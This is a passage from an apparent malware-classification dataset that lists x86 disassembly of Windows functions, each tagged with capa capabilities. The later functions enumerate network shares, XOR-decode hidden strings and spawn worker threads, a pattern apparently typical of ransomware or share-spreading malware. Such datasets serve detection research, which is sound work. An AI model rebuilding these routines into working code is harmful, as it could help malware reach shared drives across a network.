joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a1d3c
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc60
push ebx
xor edx, edx
mov dword [ebp - 0x3a0], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4a1ee9
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x38], 0
jne 0x4a1eca
mov dl, 1
mov eax, dword [0x426bcc]
call fcn.004329f8
mov edx, dword [ebp - 4]
mov dword [edx + 0x38], eax
mov eax, dword [ebp - 4]
add eax, 0x3c
xor edx, edx
call fcn.0040687c
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x4a1eb9
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.004843d0
test al, al
je 0x4a1eac
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x39c], eax
mov byte [ebp - 0x398], 0
lea ecx, [ebp - 0x39c]
mov edx, 0x4a1ef8
lea eax, [ebp - 0x394]
call fcn.00411af0
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExW_1
test eax, eax
jne 0x4a1eac
xor eax, eax
push ebp
push 0x4a1ea5
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0x200
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x314]
push eax
push 0
push 0
push 0x4a1f68
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExW_1
test eax, eax
jne 0x4a1e8e
lea eax, [ebp - 0x3a0]
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.00406a64
mov edx, dword [ebp - 0x3a0]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x40]
jne 0x4a1e8e
mov eax, dword [ebp - 4]
add eax, 0x3c
lea edx, [ebp - 0x314]
mov ecx, pe_nt_image_headers32
call fcn.00406a64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a1eac
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x4a1daf
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x38]
mov byte [eax + 0x29], 0
mov dl, 1
call fcn.00432934
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x38]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a1ef0
lea eax, [ebp - 0x3a0]
call fcn.0040686c
ret

Function at 0x4a2a48
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x4b5288]
cmp byte [eax + 0xad], 0
jne 0x4a2aba
cmp dword [0x4b52a0], 0
jne 0x4a2a7a
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, dword [0x4aee30]
push eax
push 3
call sub.user32.dll_SetWindowsHookExW
mov dword [0x4b52a0], eax
cmp dword [0x4b529c], 0
jne 0x4a2a95
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventW
mov dword [0x4b529c], eax
cmp dword [0x4b52a4], 0
jne 0x4a2aba
push esp
push 0
push 0
mov eax, dword [0x4aee2c]
push eax
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x4b52a4], eax
pop edx
ret
Function at 0x4a2de0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
test dl, dl
je 0x4a2df7
add esp, 0xfffffff0
call fcn.00405314
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.0043af80
mov eax, dword [0x4aee9c]
cmp byte [eax], 0
jne 0x4a2e24
push 0
call sub.ole32.dll_OleInitialize
test eax, 0x80000000
sete al
mov byte [ebx + 0x17c], al
mov eax, dword [0x4af0ec]
cmp word [eax + 2], 0
jne 0x4a2e3e
mov eax, dword [0x4af0ec]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004a4ed8
mov eax, dword [0x4af1c0]
cmp word [eax + 2], 0
jne 0x4a2e58
mov eax, dword [0x4af1c0]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004a50e8
mov byte [ebx + 0x35], 0
mov dl, 1
mov eax, dword [0x4457b8]
call fcn.0044a7c0
mov esi, eax
mov dword [ebx + 0x3c], esi
mov dword [esi + 0xc], ebx
mov dword [esi + 8], 0x4a5698
mov dl, 1
mov eax, dword [0x424604]
call fcn.00404dc8
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x424604]
call fcn.00404dc8
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x448e50]
call fcn.004515b8
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x4a3038
mov eax, dword [0x4aefe4]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconW
mov edx, eax
mov eax, esi
call fcn.00451a4c
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4a5980
mov dl, 1
mov eax, dword [0x424604]
call fcn.00404dc8
mov dword [ebx + 0x98], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x202]
push eax
mov eax, dword [0x4aefe4]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameW_1
lea eax, [ebp - 0x202]
mov dx, 0x5c
call fcn.0041193c
test eax, eax
je 0x4a2f69
lea edx, [eax + 2]
lea eax, [ebp - 0x202]
call fcn.00411720
lea eax, [ebp - 0x202]
mov dx, 0x2e
call fcn.00411920
test eax, eax
je 0x4a2f81
mov word [eax], 0
lea eax, [ebp - 0x202]
push eax
call sub.user32.dll_CharNextW_1
push eax
call sub.user32.dll_CharLowerW
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.00406a64
push ebx
push 0x4a48a8
call fcn.00498a34
mov dword [ebx + 0x178], eax
mov byte [ebx + 0xd0], 0
mov eax, dword [0x4aee9c]
cmp byte [eax], 0
jne 0x4a2fd2
mov eax, ebx
call fcn.004a31ac
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
mov byte [ebx + 0xd1], 0
mov byte [ebx + 0xdc], 0
xor eax, eax
mov dword [ebx + 0xd4], eax
mov byte [ebx + 0xd3], 0
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.004a5bac
mov eax, ebx
call fcn.004a67e0
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4a302f
call fcn.0040536c
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4a3480
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x170]
test eax, eax
je 0x4a3522
cmp dword [ebx + 0x94], 0
jne 0x4a351c
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4a33cc
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4a351c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x4a34e2
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4a351c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0042f3d4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4a34f1
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4a3740
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x4b5288]
cmp dword [eax + 0x170], 0
je 0x4a38a5
test bl, bl
jne 0x4a37f3
cmp dword [esi + 0x9c], 0
jne 0x4a37e8
mov eax, esi
call fcn.004a6630
push eax
push 0x4a364c
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x4a37b9
mov eax, dword [0x4b5288]
cmp byte [eax + 0xd3], 0
je 0x4a37b9
mov eax, dword [esi + 0xd8]
call fcn.00407e80
mov edi, eax
cmp edi, 0
jl 0x4a37b9
push 0
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4a37a2
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4a37e8
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0042f3d4
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4a37c8
inc dword [esi + 0x9c]
jmp 0x4a38a5
cmp dword [esi + 0x9c], 0
jle 0x4a38a5
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x4a38a5
cmp dword [esi + 0x44], 0
je 0x4a3850
mov eax, dword [0x4b5288]
cmp byte [eax + 0xd3], 0
je 0x4a3850
mov eax, dword [esi + 0xd8]
call fcn.00407e80
mov edi, eax
cmp edi, 0
jl 0x4a3850
push 5
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4a3839
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4a387f
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0042f3d4
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4a385f
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
lea eax, [esi + 0xd8]
mov ecx, 1
mov edx, dword [0x49690c]
call fcn.00408040
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x4a44f4
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4a455f
cmp byte [ebx + 0xd3], 0
jne 0x4a455f
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.004069b8
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x4a454c
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4a456c
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.0040687c
jmp 0x4a456c
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.0040687c
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4a5d94
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4a5e02
mov eax, esi
call fcn.0047e4f0
test al, al
je 0x4a5e02
mov eax, dword [ebx + 0x84]
call fcn.0047e170
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4a5e02
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4a5df6
push 0
mov eax, dword [ebx + 0x84]
call fcn.0047e170
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.00475148
jmp 0x4a5e02
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004a5bcc
pop esi
pop ebx
ret
Function at 0x40755a
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x41350c], 0
push ebx
push esi
push edi
jne 0x407693
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 8], 0x4000
push 0x13
push ebx
push 2
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x407693
mov ecx, dword [ebp - 8]
call fcn.00406c8e
mov edi, eax
test edi, edi
je 0x40768a
jmp 0x407669
cmp dword [ebp - 4], 0
mov dword [ebp - 0x10], ebx
jbe 0x407669
lea esi, [edi + 0x14]
test byte [esi - 8], 2
je 0x40761c
push 0x4132f8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x4075e8
mov eax, dword [esi]
push 0x4132f8
add eax, 4
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x407656
mov ecx, dword [esi]
add ecx, 4
call fcn.00406f68
mov ebx, eax
test ebx, ebx
je 0x407608
push ebx
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, ebx
call fcn.00406d33
mov ecx, dword [esi]
call fcn.0040777a
lea eax, [esi - 0x14]
push eax
call fcn.0040755a
xor ebx, ebx
jmp 0x407656
mov edx, dword [esi]
mov ecx, dword [0x413514]
push 1
push ebx
push 4
call fcn.00407f50
add esp, 0xc
test eax, eax
je 0x407656
mov dword [ebp + 8], 0x555565
mov eax, ebx
xor byte [ebp + eax + 8], 0x55
inc eax
cmp eax, 3
jb 0x40763e
mov edx, dword [esi]
lea ecx, [ebp + 8]
mov byte [ebp + 0xb], bl
call fcn.0040d85f
mov eax, dword [ebp - 0x10]
add esi, 0x20
inc eax
mov dword [ebp - 0x10], eax
cmp eax, dword [ebp - 4]
jb 0x4075be
lea eax, [ebp - 8]
push eax
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x4075ae
mov ecx, edi
call fcn.00406d33
push dword [ebp - 0xc]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4
Function at 0x40777a
Capabilities:
Encode data using xor
Enumerate network shares

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
xor eax, eax
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x14], ebx
mov edi, 0x4132bc
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
call dword [sym.imp.NETAPI32.dll_NetShareEnum]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x4077d7
cmp esi, 0xea
je 0x40779b
jmp 0x407949
mov esi, dword [ebp - 0x10]
xor ebx, ebx
inc ebx
cmp dword [ebp - 0xc], ebx
jb 0x407942
mov eax, dword [esi + 4]
test eax, eax
je 0x4077ff
cmp eax, 0x80000000
je 0x4077ff
cmp eax, 0x40000000
jne 0x407932
mov dword [ebp - 0x36], 0x55115514
xor eax, eax
mov dword [ebp - 0x32], 0x551c5518
mov dword [ebp - 0x2e], 0x5571551b
mov word [ebp - 0x2a], 0x55
xor byte [ebp + eax - 0x36], 0x55
inc eax
cmp eax, 0xd
jb 0x40781c
lea eax, [ebp - 0x36]
mov byte [ebp - 0x29], 0
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x407932
mov ecx, 0x10000
call fcn.00406c8e
mov edi, eax
test edi, edi
je 0x407932
push 0x4018e0
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x22], 0x55095509
xor eax, eax
mov word [ebp - 0x1e], 0x55
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 5
jb 0x40786e
push 2
lea eax, [ebp - 0x22]
mov byte [ebp - 0x1d], 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.SHLWAPI.dll_StrCmpNW]
test eax, eax
je 0x4078b9
mov dword [ebp - 0x28], 0x55095509
xor eax, eax
mov word [ebp - 0x24], 0x55
xor byte [ebp + eax - 0x28], 0x55
inc eax
cmp eax, 5
jb 0x40789f
lea eax, [ebp - 0x28]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebp - 0x14]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [ebp - 4], 0x555509
xor eax, eax
xor byte [ebp + eax - 4], 0x55
inc eax
cmp eax, 3
jb 0x4078cc
lea eax, [ebp - 4]
mov byte [ebp - 1], 0
push eax
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [esi]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [0x413514]
mov edx, edi
push 1
push 0
push 4
call fcn.00407f50
add esp, 0xc
test eax, eax
je 0x40792b
mov dword [ebp - 8], 0x555565
xor eax, eax
xor byte [ebp + eax - 8], 0x55
inc eax
cmp eax, 3
jb 0x407912
mov edx, edi
mov byte [ebp - 5], 0
lea ecx, [ebp - 8]
call fcn.0040d85f
mov ecx, edi
call fcn.00406d33
add esi, 0xc
inc ebx
cmp ebx, dword [ebp - 0xc]
jbe 0x4077e6
mov esi, dword [ebp - 0x10]
push esi
call dword [sym.imp.NETAPI32.dll_NetApiBufferFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x407960
Capabilities:
Create thread

Disassembly:
cmp dword [0x4132f4], 0
jne 0x40798f
xor ecx, ecx
xor edx, edx
inc ecx
call fcn.0040d797
xor eax, eax
push eax
push eax
push eax
push fcn.0040755a
push eax
push eax
mov dword [0x41350c], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4132f4], eax
ret
Function at 0x407990
Capabilities:
Create thread

Disassembly:
cmp dword [0x4132f0], 0
jne 0x4079b7
test ecx, ecx
je 0x4079b0
xor eax, eax
push eax
push eax
push eax
push fcn.0040769c
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
push 0
call fcn.0040769c
ret

Function at 0x4079b8
Capabilities:
Create thread
Get hostname
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
cmp dword [0x413510], 0
jne 0x407b22
cmp dword [0x4132a0], 0
jne 0x407b22
cmp dword [0x4132d8], 0
jne 0x407b22
push ebx
xor ebx, ebx
push esi
mov dword [0x413508], ebx
call fcn.00406d43
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x407adb
push 0x100
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
cmp eax, 0xffffffff
je 0x407a2e
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [0x4132ec], eax
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x4132d8], eax
test eax, eax
je 0x407af6
push 0x4132a4
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov ecx, 0x4132dc
mov dword [0x4132dc], ebx
mov dword [0x4132e0], ecx
mov dword [0x4132e4], ebx
mov dword [0x4132e8], 0x4132e4
mov dword [0x413298], ebx
mov dword [0x41329c], 0x413298
call fcn.00406db1
test eax, eax
je 0x407adb
push ebx
push ebx
push ebx
push 0x407038
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4132a0], eax
cmp eax, 0xffffffff
je 0x407adb
push ebx
push ebx
push ebx
push 0x407302
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x413510], eax
cmp eax, 0xffffffff
je 0x407adb
push ebx
push 1
push ebx
push dword [0x4132d8]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 2
xor edx, edx
pop ecx
call fcn.0040d797
jmp 0x407b20
cmp dword [0x4132d8], ebx
je 0x407af6
push 0x4132a4
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push dword [0x4132d8]
call esi
mov eax, dword [0x4132a0]
test eax, eax
je 0x407b02
push eax
call esi
mov eax, dword [0x413510]
test eax, eax
je 0x407b0e
push eax
call esi
mov dword [0x413510], ebx
mov dword [0x4132a0], ebx
mov dword [0x4132d8], ebx
pop esi
pop ebx
leave
ret

Function at 0x407b4c
Capabilities:
Create thread

Disassembly:
mov eax, dword [0x4132d8]
test eax, eax
je 0x407b62
push 0
push 4
push 0
push eax
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
xor ecx, ecx
jmp fcn.00407b24

Function at 0x407b75
Capabilities:
Encode data using xor

Disassembly:
xor eax, eax
xor byte [eax + ecx], 0x55
inc eax
cmp eax, 0xd
jb 0x407b77
mov byte [ecx + 0xd], 0
mov eax, ecx
ret
Function at 0x408525
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x408537
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd4c]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x40857c
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], 0
pop esi
pop ebx
ret

Function at 0x408c8a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
xor edx, edx
push ebx
push esi
push edi
xor edi, edi
push 3
inc edi
pop ecx
mov dword [0x4136e8], edi
call fcn.0040d797
push 6
xor edx, edx
pop ecx
call fcn.0040d797
mov eax, dword [0x413730]
xor ebx, ebx
mov ecx, dword [0x4136a0]
mov esi, ebx
test eax, eax
je 0x408cf4
mov edx, dword [ecx + esi*4]
test edx, edx
je 0x408cef
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x4136a0]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x4136a0]
mov eax, dword [0x413730]
mov dword [ecx + esi*4], ebx
inc esi
cmp esi, eax
jb 0x408cc3
call fcn.00406d33
push 3
mov edx, edi
mov dword [0x4136a0], ebx
pop ecx
call fcn.0040d797
push 5
mov edx, edi
pop ecx
call fcn.0040d797
push 6
mov edx, edi
pop ecx
call fcn.0040d797
movaps xmm0, xmmword [0x401de0]
mov eax, ebx
movups xmmword [ebp - 0x34], xmm0
mov word [ebp - 0x24], 0x55
xor byte [ebp + eax - 0x34], 0x55
inc eax
cmp eax, 0x11
jb 0x408d30
mov eax, ebx
mov byte [ebp - 0x23], bl
cmp dword [0x41355c], ebx
je 0x408d66
movaps xmm0, xmmword [0x4019c0]
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], 0x55
inc eax
cmp eax, 0xf
jb 0x408d53
mov byte [ebp - 1], bl
lea eax, [ebp - 0x10]
jmp 0x408d88
movaps xmm0, xmmword [0x401da0]
movups xmmword [ebp - 0x22], xmm0
mov word [ebp - 0x12], 0x55
xor byte [ebp + eax - 0x22], 0x55
inc eax
cmp eax, 0x11
jb 0x408d77
mov byte [ebp - 0x11], bl
lea eax, [ebp - 0x22]
lea ecx, [ebp - 0x34]
push ecx
push eax
call fcn.0040d906
pop ecx
pop ecx
pop edi
pop esi
mov dword [0x4136e8], ebx
xor eax, eax
pop ebx
leave
ret 4
Function at 0x408da3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov dword [0x413778], ecx
mov ecx, 0x41370c
push esi
call fcn.00407ed6
mov ecx, 0x413564
call fcn.00407ed6
mov ecx, 0x4136ec
call fcn.00407ed6
mov edx, 0x40e8b9
mov ecx, 0x413734
call fcn.004021e0
mov edx, 0x40e0b1
mov ecx, 0x4136a4
call fcn.004021e0
mov edx, 0x40e4b5
mov ecx, 0x413560
call fcn.004021e0
push 0x413588
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movaps xmm0, xmmword [0x401920]
xor eax, eax
push 0x55
movups xmmword [ebp - 0x10], xmm0
pop ebx
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408e17
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x10]
push eax
push 0x4135a0
mov byte [ebp - 1], 0
call esi
movaps xmm0, xmmword [0x401e80]
xor eax, eax
movups xmmword [ebp - 0x1c], xmm0
mov byte [ebp - 0xc], 0x30
mov byte [ebp - 0xb], bl
mov byte [ebp - 0xa], 0x38
mov byte [ebp - 9], bl
mov byte [ebp - 8], 0x3a
mov byte [ebp - 7], bl
mov byte [ebp - 6], 0x27
mov byte [ebp - 5], bl
mov byte [ebp - 4], 0x2c
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x1c], bl
inc eax
cmp eax, 0x1b
jb 0x408e6d
lea eax, [ebp - 0x1c]
mov byte [ebp - 1], 0
push eax
push 0x4135e0
call esi
movaps xmm0, xmmword [0x401c40]
xor eax, eax
movups xmmword [ebp - 0x14], xmm0
mov byte [ebp - 4], 0x26
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x14], bl
inc eax
cmp eax, 0x13
jb 0x408ea1
lea eax, [ebp - 0x14]
mov byte [ebp - 1], 0
push eax
push 0x413738
call esi
movaps xmm0, xmmword [0x401e90]
xor eax, eax
movups xmmword [ebp - 0x14], xmm0
mov byte [ebp - 4], 0x39
mov byte [ebp - 3], bl
mov byte [ebp - 2], bl
mov byte [ebp - 1], 0
xor byte [ebp + eax - 0x14], bl
inc eax
cmp eax, 0x13
jb 0x408ed5
lea eax, [ebp - 0x14]
mov byte [ebp - 1], 0
push eax
push 0x413660
call esi
movaps xmm0, xmmword [0x401970]
xor eax, eax
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408efb
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0
push eax
push 0x413620
call esi
movaps xmm0, xmmword [0x401900]
xor eax, eax
movups xmmword [ebp - 0x10], xmm0
xor byte [ebp + eax - 0x10], bl
inc eax
cmp eax, 0xf
jb 0x408f21
lea eax, [ebp - 0x10]
mov byte [ebp - 1], 0
push eax
push 0x4136a8
call esi
pop esi
pop ebx
leave
ret